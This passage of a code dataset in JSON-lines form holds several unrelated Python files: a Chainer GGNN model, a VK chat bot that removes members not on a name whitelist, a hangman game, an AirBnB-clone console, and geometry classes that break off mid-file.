AttnAggregator()\r\n else:\r\n raise ValueError('No such layer aggr named {}'.format(layer_aggr))\r\n return aggr\r\n\r\n\r\nclass GGNN(chainer.Chain):\r\n\r\n NUM_EDGE_TYPE = 4\r\n\r\n def __init__(self, out_dim, hidden_dim=16,\r\n n_layers=4, n_atom_types=MAX_ATOMIC_NUM, concat_hidden=False,\r\n dropout_rate=0.0, layer_aggr=None,\r\n batch_normalization=False,\r\n weight_tying=True, update_tying=True,\r\n ):\r\n super(GGNN, self).__init__()\r\n n_readout_layer = n_layers if concat_hidden else 1\r\n n_message_layer = 1 if weight_tying else n_layers\r\n n_update_layer = 1 if update_tying else n_layers\r\n self.n_readout_layer = n_readout_layer\r\n self.n_message_layer = n_message_layer\r\n self.out_dim = out_dim\r\n self.hidden_dim = hidden_dim\r\n self.n_layers = n_layers\r\n self.concat_hidden = concat_hidden\r\n self.dropout_rate = dropout_rate\r\n self.batch_normalization = batch_normalization\r\n self.weight_tying = weight_tying\r\n self.update_tying = update_tying\r\n self.layer_aggr = layer_aggr\r\n\r\n with self.init_scope():\r\n # Update\r\n self.embed = EmbedAtomID(out_size=hidden_dim, in_size=n_atom_types)\r\n\r\n self.message_layers = chainer.ChainList(\r\n *[GraphLinear(hidden_dim, self.NUM_EDGE_TYPE * hidden_dim)\r\n for _ in range(n_message_layer)]\r\n )\r\n\r\n self.update_layer = chainer.ChainList(\r\n *[links.Linear(2 * hidden_dim, hidden_dim)\r\n for _ in range(n_update_layer)]\r\n )\r\n # self.update_layer = links.GRU(2 * hidden_dim, hidden_dim)\r\n\r\n # Layer Aggregation\r\n self.aggr = select_aggr(layer_aggr, 1, hidden_dim, hidden_dim)\r\n\r\n # Readout\r\n self.i_layers = chainer.ChainList(\r\n *[GraphLinear(2 * hidden_dim, out_dim)\r\n for _ in range(n_readout_layer)]\r\n )\r\n self.j_layers = chainer.ChainList(\r\n *[GraphLinear(hidden_dim, out_dim)\r\n for _ in range(n_readout_layer)]\r\n )\r\n\r\n def update(self, h, adj, step=0):\r\n # --- Message & Update part ---\r\n # (minibatch, atom, ch)\r\n mb, atom, ch = h.shape\r\n out_ch = ch\r\n message_layer_index = 0 if self.weight_tying else step\r\n update_layer_index = 0 if self.update_tying else step\r\n # m: (minibatch, atom, ch) -> (minibatch, atom, edge_type * ch) -> (minibatch, atom, ch, edge_type)\r\n m = functions.reshape(self.message_layers[message_layer_index](h),\r\n (mb, atom, out_ch, self.NUM_EDGE_TYPE))\r\n\r\n # m: (minibatch, atom, ch, edge_type)\r\n # Transpose\r\n # m: (minibatch, edge_type, atom, ch)\r\n m = functions.transpose(m, (0, 3, 1, 2))\r\n\r\n # adj: (minibatch * edge_type, atom, atom)\r\n adj = functions.reshape(adj, (mb * self.NUM_EDGE_TYPE, atom, atom))\r\n # m: (minibatch * edge_type, atom, ch)\r\n m = functions.reshape(m, (mb * self.NUM_EDGE_TYPE, atom, out_ch))\r\n\r\n # (mb * edge_type, atom, atom) * (mb * edge_type, atom, out_ch)\r\n m = chainer_chemistry.functions.matmul(adj, m)\r\n\r\n # (minibatch * edge_type, atom, out_ch) -> (minibatch, edge_type, atom, out_ch)\r\n m = functions.reshape(m, (mb, self.NUM_EDGE_TYPE, atom, out_ch))\r\n # Take sum\r\n m = functions.sum(m, axis=1)\r\n # (minibatch, atom, out_ch)\r\n\r\n # --- Update part ---\r\n # Contraction\r\n h = functions.reshape(h, (mb * atom, ch))\r\n\r\n # Contraction\r\n m = functions.reshape(m, (mb * atom, ch))\r\n\r\n # input for GRU: (mb * atom, 2 * ch) -> (mb * atom, ch)\r\n # out_h = self.update_layer(functions.concat((h, m), axis=1))\r\n #\r\n out_h = functions.relu(self.update_layer[update_layer_index](functions.concat((h, m), axis=1)))\r\n # Expansion: (mb * atom, ch) -> (mb, atom, ch)\r\n out_h = functions.reshape(out_h, (mb, atom, ch))\r\n return out_h\r\n\r\n def readout(self, h, h0, step=0):\r\n # --- Readout part ---\r\n index = step if self.concat_hidden else 0\r\n # h, h0: (minibatch, atom, ch)\r\n g = functions.sigmoid(\r\n self.i_layers[index](functions.concat((h, h0), axis=2))) \\\r\n * self.j_layers[index](h)\r\n g = functions.sum(g, axis=1) # sum along atom's axis\r\n return g\r\n\r\n def __call__(self, atom_array, adj):\r\n # reset state\r\n # self.update_layer.reset_state()\r\n # [layer.reset_state() for layer in self.update_layer]\r\n if atom_array.dtype == self.xp.int32:\r\n h = self.embed(atom_array) # (minibatch, max_num_atoms)\r\n else:\r\n h = atom_array\r\n h0 = functions.copy(h, cuda.get_device_from_array(h.data).id)\r\n g_list = []\r\n h_list = []\r\n for step in range(self.n_layers):\r\n h = self.update(h, adj, step)\r\n\r\n if self.dropout_rate != 0.0:\r\n h = functions.dropout(h, ratio=self.dropout_rate)\r\n\r\n if self.concat_hidden:\r\n g = self.readout(h, h0, step)\r\n g_list.append(g)\r\n\r\n if self.layer_aggr:\r\n h_list.append(h)\r\n\r\n if self.concat_hidden:\r\n return functions.concat(g_list, axis=1)\r\n elif self.layer_aggr:\r\n output = self.aggr(h_list)\r\n\r\n return self.readout(output, h0, 0)\r\n else:\r\n g = self.readout(h, h0, 0)\r\n return g\r\n\r\n\r\nclass ConcatAggregator(chainer.Chain):\r\n def __init__(self):\r\n super(ConcatAggregator, self).__init__()\r\n\r\n def __call__(self, h_list):\r\n # h_list: list of elem with shape of (mb, node, ch)\r\n # (mb, node, ch * n_conv_layers)\r\n # [mb, atoms, n_layers * hidden_dim]\r\n h = functions.concat(h_list, axis=-1)\r\n return h\r\n\r\n\r\nclass MaxAggregator(chainer.Chain):\r\n def __init__(self):\r\n super(MaxAggregator, self).__init__()\r\n\r\n def __call__(self, h_list):\r\n # hs: (mb, node, ch, n_conv_layers)\r\n h_list = [functions.expand_dims(h, axis=-2) for h in h_list]\r\n # (mb, atoms, n_layers, hidden_dim)\r\n concat_h = functions.concat(h_list, axis=-2)\r\n # (mb, atoms, n_layers, hidden_dim) -> (mb, atoms, hidden_dim)\r\n h = functions.max(concat_h, axis=-2)\r\n return h\r\n\r\n\r\nclass AvgAggregator(chainer.Chain):\r\n def __init__(self):\r\n super(AvgAggregator, self).__init__()\r\n\r\n def __call__(self, h_list):\r\n # hs: (mb, node, ch, n_conv_layers)\r\n h_list = [functions.expand_dims(h, axis=-2) for h in h_list]\r\n # (mb, atoms, n_layers, hidden_dim)\r\n concat_h = functions.concat(h_list, axis=-2)\r\n # (mb, atoms, n_layers, hidden_dim) -> (mb, atoms, hidden_dim)\r\n h = functions.mean(concat_h, axis=-2)\r\n return h\r\n\r\n\r\nclass GRUAggregator(chainer.Chain):\r\n def __init__(self, n_layers, in_size, out_size, dropout=0.0):\r\n super(GRUAggregator, self).__init__()\r\n with self.init_scope():\r\n self.gru_layer = links.NStepGRU(n_layers, in_size, out_size, dropout)\r\n\r\n self.n_layers = n_layers\r\n self.in_size = in_size\r\n self.out_size = out_size\r\n self.dropout = dropout\r\n\r\n def __call__(self, h_list):\r\n h_list = [functions.expand_dims(h, axis=-2) for h in h_list]\r\n concat_h = functions.concat(h_list, axis=-2)\r\n mb, atoms, n_layers, hidden_dim = concat_h.shape\r\n # concat_h: (n_layers, mb, atoms, hidden_dim)\r\n concat_h = functions.transpose(concat_h, axes=(2, 0, 1, 3))\r\n seq_h = functions.reshape(concat_h, shape=(n_layers, mb * atoms, hidden_dim))\r\n seq_h_list = list(seq_h)\r\n _, seq_out_list = self.gru_layer(None, seq_h_list)\r\n # [n_layers, mb * atoms, hidden_dim]\r\n seq_out_arr = functions.concat([functions.expand_dims(seq, axis=0) for seq in seq_out_list], axis=0)\r\n # [mb * atoms, hidden_dim]\r\n seq_out_forward = seq_out_arr[-1, :, :hidden_dim]\r\n # [mb * atoms, 2 * hidden_dim] -> [mb, atoms, 2 * hidden_dim]\r\n seq_out_arr = functions.reshape(seq_out_forward, shape=(mb, atoms, hidden_dim))\r\n # [mb, atoms, 2 * hidden_dim]\r\n h = seq_out_arr\r\n\r\n return h\r\n\r\n\r\nclass BiGRUAggregator(chainer.Chain):\r\n def __init__(self, n_layers, in_size, out_size, dropout):\r\n super(BiGRUAggregator, self).__init__()\r\n with self.init_scope():\r\n self.bigru_layer = links.NStepBiGRU(n_layers, in_size, out_size, dropout)\r\n self.out_layer = GraphLinear(2 * out_size, out_size)\r\n self.n_layers = n_layers\r\n self.in_size = in_size\r\n self.out_size = out_size\r\n self.dropout = dropout\r\n\r\n def __call__(self, h_list):\r\n h_list = [functions.expand_dims(h, axis=-2) for h in h_list]\r\n concat_h = functions.concat(h_list, axis=-2)\r\n mb, atoms, n_layers, hidden_dim = concat_h.shape\r\n # concat_h: (n_layers, mb, atoms, hidden_dim)\r\n concat_h = functions.transpose(concat_h, axes=(2, 0, 1, 3))\r\n seq_h = functions.reshape(concat_h, shape=(n_layers, mb * atoms, hidden_dim))\r\n seq_h_list = list(seq_h)\r\n _, seq_out_list = self.bigru_layer(None, seq_h_list)\r\n # [n_layers, mb * atoms, hidden_dim]\r\n seq_out_arr = functions.concat([functions.expand_dims(seq, axis=0) for seq in seq_out_list], axis=0)\r\n # [mb * atoms, hidden_dim]\r\n seq_out_forward = seq_out_arr[-1, :, :hidden_dim]\r\n # [mb * atoms, hidden_dim]\r\n seq_out_backward = seq_out_arr[0, :, hidden_dim:]\r\n # [mb * atoms, 2 * hidden_dim]\r\n seq_out_arr = functions.concat([seq_out_forward, seq_out_backward], axis=-1)\r\n # [mb * atoms, 2 * hidden_dim] -> [mb, atoms, 2 * hidden_dim]\r\n seq_out_arr = functions.reshape(seq_out_arr, shape=(mb, atoms, 2 * hidden_dim))\r\n # [mb, atoms, 2 * hidden_dim]\r\n h = seq_out_arr\r\n h = self.out_layer(h)\r\n return h\r\n\r\n\r\nclass AttnAggregator(chainer.Chain):\r\n \"\"\"\r\n query: the final graph convolution layer representation\r\n \"\"\"\r\n def __init__(self):\r\n super(AttnAggregator, self).__init__()\r\n\r\n def __call__(self, h_list):\r\n \"\"\"\r\n :param h_list: list of h, h with shape of (mb, node, ch)\r\n :return:\r\n \"\"\"\r\n h_list = [functions.expand_dims(h, axis=-2) for h in h_list]\r\n concat_h = functions.concat(h_list, axis=-2)\r\n # concat_h: (n_layers, mb, atoms, hidden_dim)\r\n concat_h = functions.transpose(concat_h, axes=(2, 0, 1, 3))\r\n n_layers, mb, atoms, hidden_dim = concat_h.shape\r\n query_final = h_list[-1]\r\n energy_final = self.compute_attention(query_final, key=concat_h)\r\n query_first = h_list[0]\r\n energy_first = self.compute_attention(query_first, key=concat_h)\r\n energy = energy_final + energy_first\r\n # (n_layers, 1)\r\n coefs = functions.softmax(energy, axis=0)\r\n coefs = functions.broadcast_to(\r\n functions.reshape(coefs, shape=(n_layers, 1, 1, 1)),\r\n shape=(n_layers, mb, atoms, hidden_dim))\r\n # (n_layers, ) * (n_layers, mb, atoms, hidden_dim)\r\n prod = coefs * concat_h\r\n # (mb, atoms, hidden_dim)\r\n compact = functions.sum(prod, axis=0)\r\n return compact\r\n\r\n def compute_attention(self, query, key):\r\n \"\"\"\r\n :param query: with shape of (mb, atom, ch)\r\n :param key: with shape of (n_layers, mb, atom, ch)\r\n :return: coefs: with shape of (n_layers, 1)\r\n \"\"\"\r\n n_layes, mb, atom, hidden_dim = key.shape\r\n # query: (1, mb, atom, ch)\r\n query = functions.expand_dims(query, axis=0)\r\n # query: (1, mb * atom * hidden_dim)\r\n query = functions.reshape(query, shape=(1, mb * atom * hidden_dim))\r\n key = functions.reshape(key, shape=(n_layes, mb * atom * hidden_dim))\r\n # (n_layes, 1)\r\n energy = functions.matmul(key, query, transb=True)\r\n return energy","sub_path":"models/ggnn_dev_jknet.py","file_name":"ggnn_dev_jknet.py","file_ext":"py","file_size_in_byte":13584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"636874135","text":"import vk\nimport requests\nfrom settings import *\n\nimport random\nimport psycopg2\n\n\n\n\n\n\n\nsession = vk.Session(access_token = sanya_token)\nvk_api = vk.API(session)\n\nv = 5.101\ndata = vk_api.groups.getLongPollServer(v = v, group_id = 185829585)\n\n\n\n\nlastmembers = set()\nwhile True:\n response = requests.get(\n '{server}?act=a_check&key={key}&ts={ts}&wait=25'.format(server=data['server'],\n key=data['key'],\n ts=data['ts'])).json()\n if 'updates' in response:\n updates = response['updates']\n else:\n updates = []\n #print(updates)\n\n\n if updates and updates[0]['type'] == 'message_new' and 'action' in updates[0]['object'] and (updates[0]['object']['action']['type'] == 'chat_invite_user' or updates[0]['object']['action']['type'] == 'chat_invite_user_by_link'):\n conn = psycopg2.connect(host=host, port=5432,\n database=database,\n user = database_user,\n password=database_password)\n\n cur = conn.cursor()\n peer_id = updates[0]['object']['peer_id']\n curmembers = set()\n try:\n items = vk_api.messages.getConversationMembers(v=v, peer_id=peer_id)['items']\n except:\n items = []\n #print(items)\n for member in items:\n curmembers.add((member['member_id'], 'is_admin' in member))\n new = curmembers - lastmembers\n #print(new)\n for usr in new:\n id = usr[0]\n admin = usr[1]\n if id > 0 and not admin:\n user = vk_api.users.get(v = v, user_ids = id)\n name = user[0]['first_name'].lower()\n last = user[0]['last_name'].lower()\n cur.execute('select names from sasha where names = %s;', (name,))\n row1 = cur.fetchall()\n cur.execute('select names from sasha where names = %s;', (last,))\n row2 = cur.fetchall()\n if row1 == [] and row2 == []:\n vk_api.messages.removeChatUser(v = v, chat_id = peer_id - 2 * 10 ** 9, user_id = id)\n curmembers.discard(usr)\n lastmembers = curmembers\n conn.commit()\n conn.close()\n\n elif updates and updates[0]['type'] == 'message_new' and 'action' in updates[0]['object'] and updates[0]['object']['action']['type'] == 'chat_kick_user':\n mem_id = updates[0]['object']['action']['member_id']\n lastmembers.discard((mem_id, True))\n lastmembers.discard((mem_id, False))\n elif updates and updates[0]['type'] == 'message_new' and (updates[0]['object']['from_id'] == 514794333 or updates[0]['object']['from_id'] == 231287650) and updates[0]['object']['peer_id'] < 2 * 10 ** 9:\n conn = psycopg2.connect(host=host, port=5432,\n database=database,\n user=database_user,\n password=database_password)\n\n cur = conn.cursor()\n\n id = updates[0]['object']['from_id']\n message = updates[0]['object']['text'].split()\n if len(message) != 2:\n command = ''\n else:\n command, name = message[0], message[1].lower()\n if command == '/добавить':\n cur.execute('select names from sasha where names = %s;', (name,))\n row = cur.fetchall()\n if row == []:\n cur.execute('insert into sasha values(%s);', (name,))\n vk_api.messages.send(v = v, user_id = id, message = 'добавлено исключение: ' + name, random_id = random.randint(0, 10 ** 6))\n elif command == '/удалить':\n cur.execute('DELETE from sasha WHERE names = %s;', (name,))\n vk_api.messages.send(v = v, user_id = id, message = 'удалено исключение: ' + name, random_id = random.randint(0, 10 ** 6))\n\n if len(message) == 1 and message[0] == '/имена':\n msg = ''\n cur.execute('select * from sasha;')\n row = cur.fetchall()\n for word in row:\n msg += word[0] + '\\n'\n vk_api.messages.send(v=v, user_id=id, message=msg,\n random_id=random.randint(0, 10 ** 6))\n\n conn.commit()\n conn.close()\n\n data['ts'] = response['ts']","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"570689162","text":"# coding: utf-8\n\nfrom random import randrange\nfrom ui import *\n\ndef joga():\n nome = da_boas_vindas()\n quer_jogar = True\n while quer_jogar:\n quer_jogar = jogo_da_forca(nome)\n\ndef jogo_da_forca(nome):\n palavra = palavra_aleatoria()\n imprime_mascara(palavra)\n chutes = []\n erros = 0\n continua_jogo = True\n while erros < 5 and continua_jogo:\n chute = pede_chute()\n if len(chute) > 1:\n if chute == palavra:\n acertou_palavra(palavra)\n continua_jogo = False\n else:\n erros = errou_palavra(chute, erros)\n else:\n chute_valido = valida_chute(chute, chutes)\n chutes.append(chute_valido)\n if not acertou(chute_valido, palavra):\n erros = errou(chute_valido, erros)\n mascara = palavra_mascarada(chutes, palavra)\n print(mascara)\n desenha_boneco(erros)\n if erros == 5:\n informa_que_perdeu(nome)\n quer_jogar = jogar_novamente()\n return quer_jogar\n\ndef obtem_arquivo():\n nome = ('palavras%s.txt' % (randrange(1, 4, 1)))\n arquivo = open(nome, 'r')\n conteudo = arquivo.read()\n palavras = conteudo.split('\\n')\n arquivo.close()\n return palavras\n\ndef palavra_aleatoria():\n palavras = obtem_arquivo()\n palavra_escolhida = palavras[randrange(1, len(palavras), 1)]\n da_dica(palavras[0])\n return palavra_escolhida\n\ndef palavra_mascarada(chutes, palavra):\n mascara = ''\n for letra in palavra:\n for chute in chutes:\n indice = letra.find(chute)\n if indice != -1:\n mascara += letra\n break\n if indice == -1:\n mascara += '_'\n return mascara\n\ndef acertou(chute, palavra):\n if chute in list(palavra):\n return True\n else:\n return False\n\ndef valida_chute(chute, chutes):\n while chute in chutes:\n informa_chute_repetido(chute)\n chute = input()\n return chute\n\ndef errou(chute, erros):\n avisa_que_errou(chute)\n erros += 1\n return erros\n\ndef errou_palavra(palavra, erros):\n avisa_que_errou_palavra(palavra)\n erros += 1\n return erros","sub_path":"forca.py","file_name":"forca.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"97922323","text":"#!/usr/bin/python3\n\"\"\"\nmodule that will run the console\nfor project clone AirBnB holds a package,\ncmd that will be used for creating the command line\nimterpreter\n\"\"\"\nimport cmd\nfrom models import storage\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.review import Review\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\"class will hold the cmd module\n that will used for running the command line enterpreter\n \"\"\"\n prompt = '(hbnb) '\n\n def do_quit(self, arg):\n \"\"\"Command to exit the prompt directly\n \"\"\"\n return True\n\n def do_EOF(self, arg):\n \"\"\"Allows to exit the prompt by typing ctrl^d\n \"\"\"\n print()\n return True\n\n def emptyline(self):\n \"\"\"When a empty line is passed, does not do\n anything\"\"\"\"\"\"\n \"\"\"\n pass\n\n def default(self, line):\n \"\"\"default value when it not recognice returns\n the erros else while print the requeriment\n \"\"\"\n created_objs = storage.all()\n count = [\"BaseModel.count()\", \"User.count()\",\n \"Place.count()\", \"City.count()\",\n \"State.count()\", \"Amenity.count()\", \"Review.count()\"]\n all = [\"BaseModel.all()\", \"User.all()\",\n \"Place.all()\", \"City.all()\",\n \"State.all()\", \"Amenity.all()\", \"Review.all()\"]\n if line in count:\n trim = line.split(\".\")\n number = 0\n for key_id in created_objs.keys():\n num = key_id.rfind(trim[0])\n if num != -1:\n number = number + 1\n print(number)\n\n elif line in all:\n new_list = []\n for key, obj in created_objs.items():\n trim = line.split(\".\")\n classname = key.split(\".\")\n if trim[0] == classname[0]:\n new_list.append(obj.__str__())\n print(new_list)\n\n else:\n return super().default(line)\n\n def do_create(self, arg):\n \"\"\"Creates a new instance of BaseModel, saves it, and print his id.\n\n If the class name is missing it raise the following error:\n ** class name missing **\n\n If the class name doesn’t exist it raise the following error:\n ** class doesn't exist **\n \"\"\"\n models = [\"BaseModel\", \"User\", \"State\",\n \"City\", \"Amenity\", \"Place\", \"Review\"]\n if not arg:\n print(\"** class name missing **\")\n elif arg not in models:\n print(\"** class doesn't exist **\")\n else:\n arg = arg + \"()\"\n obj = eval(arg)\n obj.save()\n print(obj.id)\n\n def do_show(self, arg):\n \"\"\"Prints the string representation of an\n instance based on the class name and id\n\n If the class name is missing it raise the following error:\n ** class name missing **\n\n If the class name doesn’t exist it raise the following error:\n ** class doesn't exist **\n\n If the id is missing it raise the following error:\n ** instance id missing **\n\n If the instance of the class name doesn’t exist for the\n id it raise the following error:\n ** no instance found **\n \"\"\"\n created_objs = storage.all()\n models = [\"BaseModel\", \"User\", \"State\", \"City\",\n \"Amenity\", \"Place\", \"Review\"]\n if not arg:\n print(\"** class name missing **\")\n return\n else:\n args = arg.split()\n if not args[0] in models:\n print(\"** class doesn't exist **\")\n return\n elif len(args) == 1:\n print(\"** instance id missing **\")\n return\n elif args[0] and args[1]:\n new_key = args[0] + \".\" + args[1]\n if any(new_key == keys for keys in created_objs.keys()):\n print(created_objs[new_key])\n else:\n print(\"** no instance found **\")\n\n def do_destroy(self, arg):\n \"\"\"Deletes an instance based on the class name and id\n\n If the class name is missing it raise the following error:\n ** class name missing **\n\n If the class name doesn’t exist it raise the following error:\n ** class doesn't exist **\n\n If the id is missing it raise the following error:\n ** instance id missing **\n\n If the instance of the class name doesn’t exist for\n the id it raise the following error:\n ** no instance found **\n \"\"\"\n created_objs = storage.all()\n models = [\"BaseModel\", \"User\", \"State\", \"City\",\n \"Amenity\", \"Place\", \"Review\"]\n if not arg:\n print(\"** class name missing **\")\n return\n else:\n args = arg.split()\n if not args[0] in models:\n print(\"** class doesn't exist **\")\n return\n elif len(args) == 1:\n print(\"** instance id missing **\")\n return\n elif args[0] and args[1]:\n new_key = args[0] + \".\" + args[1]\n if any(new_key == keys for keys in created_objs.keys()):\n created_objs.pop(new_key)\n storage.save()\n else:\n print(\"** no instance found **\")\n\n def do_all(self, arg):\n \"\"\"Prints all string representation of all\n instances based or not on the class name.\n If the class name doesn’t exist it raise the following error:\n ** class doesn't exist **\n \"\"\"\n new_list = []\n created_objs = storage.all()\n models = [\"BaseModel\", \"User\", \"State\", \"City\",\n \"Amenity\", \"Place\", \"Review\"]\n if not arg:\n for key_id in created_objs.keys():\n new_list.append(created_objs[key_id].__str__())\n print(new_list)\n else:\n if arg not in models:\n print(\"** class doesn't exist **\")\n else:\n for key_id in created_objs.keys():\n num = key_id.rfind(arg)\n if num != -1:\n new_list.append(created_objs[key_id].__str__())\n print(new_list)\n\n def do_update(self, arg):\n \"\"\"Updates an instance based on the class name and\n id by adding or updating attribute\n\n Usage:\n update \"\"\n\n If the class name is missing it raise the following error:\n ** class name missing **\n\n If the class name doesn’t exist it raise the following error:\n ** class doesn't exist **\n\n If the id is missing it raise the following error:\n ** instance id missing **\n\n If the instance of the class name doesn’t exist\n for the id it raise the following error:\n ** no instance found **\n\n If the attribute name is missing it raise the following error:\n ** attribute name missing **\n\n If the value for the attribute name doesn’t exist it\n raise the following error:\n ** value missing **\n \"\"\"\n if not arg:\n print(\"** class name missing **\")\n else:\n created_objs = storage.all()\n models = [\"BaseModel\", \"User\", \"State\", \"City\",\n \"Amenity\", \"Place\", \"Review\"]\n args = arg.split()\n if not args[0] in models:\n print(\"** class doesn't exist **\")\n return\n if len(args) == 1:\n print(\"** instance id missing **\")\n return\n if args[0] and args[1]:\n new_key = args[0] + \".\" + args[1]\n if any(new_key == keys for keys in created_objs.keys()):\n if len(args) == 2:\n print(\"** attribute name missing **\")\n return\n if len(args) == 3:\n print(\"** value missing **\")\n return\n obj = created_objs[new_key]\n trim = args[3]\n trim = trim[1:-1]\n try:\n trim = int(trim)\n except:\n try:\n trim = float(trim)\n except:\n trim = str(trim)\n setattr(obj, args[2], trim)\n obj.save()\n else:\n print(\"** no instance found **\")\n\n\nif __name__ == '__main__':\n HBNBCommand().cmdloop()\n","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":8922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"412251684","text":"import random\nimport math\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Circle, Rectangle\n\n\n# 链表类\nclass node():\n def __init__(self, _p, _i):\n self.point = _p\n self.index = _i\n\n def next(self, sdlist):\n return sdlist[self.index]\n\n\nclass sdlist():\n def __init__(self, _list_n=[]):\n self.list_n = _list_n\n self.index = 0\n\n def next(self):\n self.index = self.list_n[self.index].index\n return self.list_n[self.index]\n\n def append(self, p):\n self.list_n[-1].index = len(self.list_n)\n n = node(p, 0)\n self.list_n.append(n)\n\n\n# 向量类\nclass vector():\n def __init__(self, _x, _y):\n self.x = _x\n self.y = _y\n\n # 向量相减\n def sub(self, another):\n IsVector(another)\n newx = self.x - another.x\n newy = self.y - another.y\n return vector(newx, newy)\n\n # 向量相加\n def plus(self, another):\n IsVector(another)\n newx = self.x + another.x\n newy = self.y + another.y\n return vector(newx, newy)\n\n # 向量数乘\n def mult_num(self, m):\n return vector(self.x * m, self.y * m)\n\n # 向量叉乘\n def mult_x(self, another):\n IsVector(another)\n return self.x * another.y - self.y * another.x\n\n # 向量点乘\n def mult_d(self, another):\n IsVector(another)\n return self.x * another.x + self.y * another.y\n\n # 向量的模\n def value(self):\n return (self.x ** 2 + self.y ** 2) ** 0.5\n\n # 向量的单位向量\n def unit(self):\n return vector(self.x / self.value(), self.y / self.value())\n\n # 向量的左垂直向量\n def vert_left(self, m=1):\n return vector(-self.y, self.x).unit().mult_num(m)\n\n # 向量的右垂直向量\n def vert_right(self, m=1):\n return vector(self.y, -self.x).unit().mult_num(m)\n\n # 两向量夹角\n def angle(self, another=None):\n if another == None:\n return math.acos(self.x / self.value()) * (self.y / abs(self.y)) * 180 / math.pi\n else:\n IsVector(another)\n return math.acos(self.mult_d(another) / (self.value() * another().value())) * (\n self.y / abs(self.y)) * 180 / math.pi\n\n\n# 点类\nclass point():\n def __init__(self, _x, _y):\n self.x = _x\n self.y = _y\n\n # 两点生成向量\n def ToVector(self, another=None):\n if another == None:\n return vector(self.x, self.y)\n else:\n newx = self.x - another.x\n newy = self.y - another.y\n return vector(newx, newy)\n\n # 点根据向量移动\n def plus_vector(self, v):\n IsVector(v)\n return point(self.x + v.x, self.y + v.y)\n\n # 两点之间距离\n def distance(self, another):\n IsPoint(another)\n return ((self.x - another.x) ** 2 + (self.y - another.y) ** 2) ** 0.5\n\n # 打印点\n def print(self):\n print(\"( {:.2f}, {:.2f} )\".format(self.x, self.y))\n\n # 画点\n def draw(self):\n plt.plot(self.x, self.y, 'ro')\n\n\n# 线类\nclass line():\n def __init__(self, _sp, _ep):\n self.startpoint = _sp\n self.endpoint = _ep\n self.vector = vector(_ep.x - _sp.x, _ep.y - _sp.y)\n\n # 两线交点\n def point_inter(self, another):\n IsLine(another)\n if Intersect_Line(self, another):\n area1 = abs(\n self.startpoint.ToVector(another.startpoint).mult_x(self.startpoint.ToVector(another.endpoint))) / 2\n area2 = abs(self.endpoint.ToVector(another.startpoint).mult_x(self.endpoint.ToVector(another.endpoint))) / 2\n newx = (area1 * self.endpoint.x - area2 * self.startpoint.x) / (area1 - area2)\n newy = (self.vector.y / self.vector.x) * (newx - self.startpoint.x) + self.startpoint.y\n return point(newx, newy)\n\n # 线方向翻转\n def reverse(self):\n newsp = self.endpoint\n newep = self.startpoint\n return line(newep, newsp)\n\n # 打印线\n def print(self):\n print(\"line( ( {:.2f}, {:.2f} ), ( {:.2f}, {:.2f} ) )\".format(self.startpoint.x, self.startpoint.y,\n self.endpoint.x, self.endpoint.y))\n\n # 画线\n def draw(self):\n plt.plot([self.startpoint.x, self.endpoint.x], [self.startpoint.y, self.endpoint.y], \"b\")\n\n\n# 折线类\nclass polyline():\n def __init__(self, _list_p=[]):\n if not isinstance(_list_p, list):\n raise ValueError(\"not an object of class list\")\n elif len(_list_p) < 2:\n raise ValueError(\"require at least two points in this list\")\n else:\n for p in _list_p:\n IsPoint(p)\n self.list_p = _list_p\n self.side = len(_list_p)\n _list_l = []\n for i in range(len(self.list_p) - 1):\n point1 = self.list_p[i]\n point2 = self.list_p[i + 1]\n _list_l.append(line(point1, point2))\n self.list_l = _list_l\n\n # 折线段闭合为多边形\n def ToPolygon(self):\n if self.side == 2:\n raise ValueError(\"require at least three points in this list\")\n else:\n return polygon(self.list_p)\n\n def draw(self):\n for line_i in self.list_l:\n line_i.draw()\n\n # 打印折线段\n def print(self):\n print(\"polyline(\")\n for line_i in self.list_l:\n line_i.print()\n print(\")\")\n\n\n# 简单多边形类\nclass polygon():\n def __init__(self, _list_p=[]):\n if not isinstance(_list_p, list):\n raise ValueError(\"not an object of class list\")\n elif len(_list_p) < 3:\n raise ValueError(\"require at least three points in this list\")\n else:\n for p in _list_p:\n IsPoint(p)\n self.list_p = _list_p\n self.side = len(_list_p)\n _list_l = []\n for i in range(len(self.list_p) - 1):\n point1 = self.list_p[i]\n point2 = self.list_p[i + 1]\n _list_l.append(line(point1, point2))\n _list_l.append(line(point2, self.list_p[0]))\n self.list_l = _list_l\n i = 1\n _list_n = []\n for p in _list_p:\n node_i = node(p, i)\n _list_n.append(node_i)\n i += 1\n _list_n[i - 2].index = 0\n self.list_n = _list_n\n\n # 多边形的范围\n def content(self):\n content = {\"xmin\": self.list_p[0].x, \"xmax\": self.list_p[0].x, \"ymin\": self.list_p[0].y,\n \"ymax\": self.list_p[0].y}\n for p in self.list_p:\n if p.x < content[\"xmin\"]:\n content[\"xmin\"] = p.x\n elif p.x > content[\"xmax\"]:\n content[\"xmax\"] = p.x\n if p.y < content[\"ymin\"]:\n content[\"ymin\"] = p.y\n elif p.y > content[\"ymax\"]:\n content[\"ymax\"] = p.y\n return content\n\n def print(self):\n print(\"polygon(\")\n for p in self.list_p:\n p.print()\n print(\")\")\n\n\n# 圆类\nclass circle():\n def __init__(self, _cp, _r):\n self.centerpoint = _cp\n self.r = _r\n\n # 画圆\n def draw(self):\n cir = Circle(xy=(self.centerpoint.x, self.centerpoint.y), radius=self.r)\n ax.add_patch(cir)\n\n\n# 矩形类\nclass rectangle():\n def __init__(self, _p, _w, _h, _a):\n self.point = _p\n self.width = _w\n self.height = _h\n self.angle = _a\n\n # 画矩形\n def draw(self):\n rec = Rectangle((self.point.x, self.point.y), self.width, self.height, angle=self.angle)\n ax.add_patch(rec)\n\n\n# 复杂多边形类\nclass polygon_complex():\n def __init__(self, _list_la=[]):\n self.list_la = _list_la\n\n # 打印复杂多边形\n def print(self):\n for 